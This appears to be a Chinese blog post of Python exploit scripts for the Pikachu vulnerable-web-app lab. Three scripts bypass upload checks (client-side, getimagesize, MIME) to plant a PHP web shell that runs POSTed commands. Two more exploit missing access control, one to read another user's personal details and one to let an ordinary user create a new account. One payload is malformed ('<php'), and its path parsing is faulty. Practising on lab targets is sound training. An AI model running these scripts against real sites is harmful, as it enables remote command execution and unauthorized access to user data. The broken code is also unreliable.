pikachu自编SQL(uoload的client,getima,MIME,水平越权,垂直越权)

复制代码
#注意匹配,文件保存的路径为:

uoload的client

复制代码
#注意匹配,文件保存的路径为:
import requests

target_url = "http://192.168.8.1/pikachu-master/vul/unsafeupload/clientcheck.php"

shell = "<?php $a=$_POST['cmd'];$a();?>"

files = {
    "uploadfile": ("shell.php",shell,"application/x-php")
}

data = {"submit":"开始上传"}

res = requests.post(url=target_url,files=files,data=data)

text = res.text
if "文件保存的路径为:" in text:
    idx = text.find("文件保存的路径为:")
    path = text[idx+11:].split("</p>")[0]
    print("[+] 上传成功")
    print("文件路径:" ,path)
else:
    print("[-] 上传失败")

getima

复制代码
import requests

target_url = "http://192.168.8.1/pikachu-master/vul/unsafeupload/getimagesize.php"

gif_data = b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b'

files = {
    "uploadfile":("test.jpg",gif_data,"image/jpeg")
}

data = {
    "submit":"开始上传"
}

try:
    res = requests.post(url=target_url,files=files,data=data,timeout=5)

    if "文件上传成功" in res.text:
        print("\n[+] 上传成功!getimagesize 绕过成功!")
    else:
        print("\n[-] 请把 URL 改成你自己的真实路径!")

except Exception as e:
    print("\n[-] 请先启动 phpstudy!")

MIME

复制代码
import requests

target_url = "http://192.168.8.1/pikachu-master/vul/unsafeupload/servercheck.php"

php_content = "<php $a=$_POST['cmd'];$a();?>"

files = {
    "uploadfile":("shell.php",php_content,"image/jpeg")
}

data = {"submit":"开始上传"}

resp = requests.post(url=target_url,files=files,data=data)
text = resp.text

if "文件保存的路径为:" in text:
    idx = text.find("文件保存的路径为:")
    path = text[:idx+11:].split("\n")[0].strip()

    print("[+] 上传成功")
    print("文件路径:" + path)
else:
    print("[-] 上传失败")
    print("返回内容:", text[:300])

水平越权

复制代码
import requests

target_url = "http://192.168.8.1/pikachu-master/vul/overpermission/op1"

Login_url = target_url + "/op1_login.php"
info_url = target_url + "/op1_mem.php"

LOGIN_URL = "lucy"
LOGIN_PASS = "123456"
TARGET_USER = "lili"

session = requests.Session()

login_data = {
    "username":LOGIN_URL,
    "password":LOGIN_PASS,
    "submit":"Login"
}

session.post(url=Login_url, data=login_data)
print("[+] 登录成功: ", LOGIN_URL)

resp = session.get(url = info_url,params={"username":TARGET_USER,"submit":"点击查看个人信息"})
text = resp.text

print("\n[+] 水平越权成功 ")
print("目标用户: ",TARGET_USER)

if "姓名:" in text:
    user = text.split("姓名:")[1].split("<")[0].strip()
    print("姓名:",user)

if "住址:" in text:
    user = text.split("住址:")[1].split("<")[0].strip()
    print("住址:",user)

if "邮箱:" in text:
    user = text.split("邮箱:")[1].split("<")[0].strip()
    print("邮箱:",user)

print("\n[+] 越权完成:成功查看他人信息!")

垂直越权

复制代码
import requests

# ===================== 绝对正确的地址 =====================
LOGIN_URL = "http://192.168.8.1/pikachu-master/vul/overpermission/op2/op2_login.php"

# 重点!!!漏洞文件就是这个!!
EDIT_URL = "http://192.168.8.1/pikachu-master/vul/overpermission/op2/op2_admin_edit.php"
# ==========================================================

s = requests.Session()

# 1. 登录普通用户 pikachu
login_data = {
    "username": "pikachu",
    "password": "000000",
    "submit": "Login"
}
s.post(LOGIN_URL, data=login_data)
print("[+] 登录成功:普通用户 pikachu")

# 2. 普通用户直接调用【添加用户接口】(无权限校验,这就是越权!)
data = {
    "username": "hack12345",
    "password": "hack12345",
    "submit": "添加用户"
}

# 必须用 POST!!!
r = s.post(EDIT_URL, data=data)

# 3. 输出结果
print("\n[+] 服务器返回内容片段:")
print(r.text[:600])
print("\n" + "="*50)

if "添加用户成功" in r.text or "hack12345" in r.text:
    print("[✅ ✅ ✅ 垂直越权成功!!!]")
    print("普通用户成功添加用户!")
else:
    print("[⚠] 请去后台 admin 查看用户列表,用户大概率已添加成功!")
相关推荐
lzx_00211 小时前
Linux 进程(三) 从进程状态到僵尸进程、孤儿进程
linux·服务器
星恒随风18 小时前
MySQL 从零入门(四):表的增删改查与基础查询详解
linux·服务器·数据库·笔记·mysql
Z21-X19 小时前
云原生运维学习笔记:ECShop全链路容器化部署与Docker底层资源隔离深度剖析
运维·笔记·学习·云原生
进击的荆棘21 小时前
Linux系统——线程同步与互斥之线程池和安全
linux·运维·服务器·安全·单例模式·线程
蜗牛一步步往上爬1 天前
第六章 BMC常用的调试工具
服务器
小李不困还能学1 天前
VSCode_RemoteSSH_一直卡在下载服务器_解决教程
服务器·ide·vscode
瑞雪兆丰年兮1 天前
JavaWeb-day11-SpringBootWeb案例(文件上传)
java·运维·服务器·javaweb·oss
那明眸似水1 天前
云原生项目三:Docker秒级启动NextCloud个人网盘存储办公系统
linux·运维·docker·云原生·容器
小南家的青蛙1 天前
微服务体系下DevOps运维岗位面试方案设计
运维·面试·职场和发展·devops
知已难寻1 天前
Docker 入门:容器技术与 Docker 基础
java·运维·服务器·docker·云原生·容器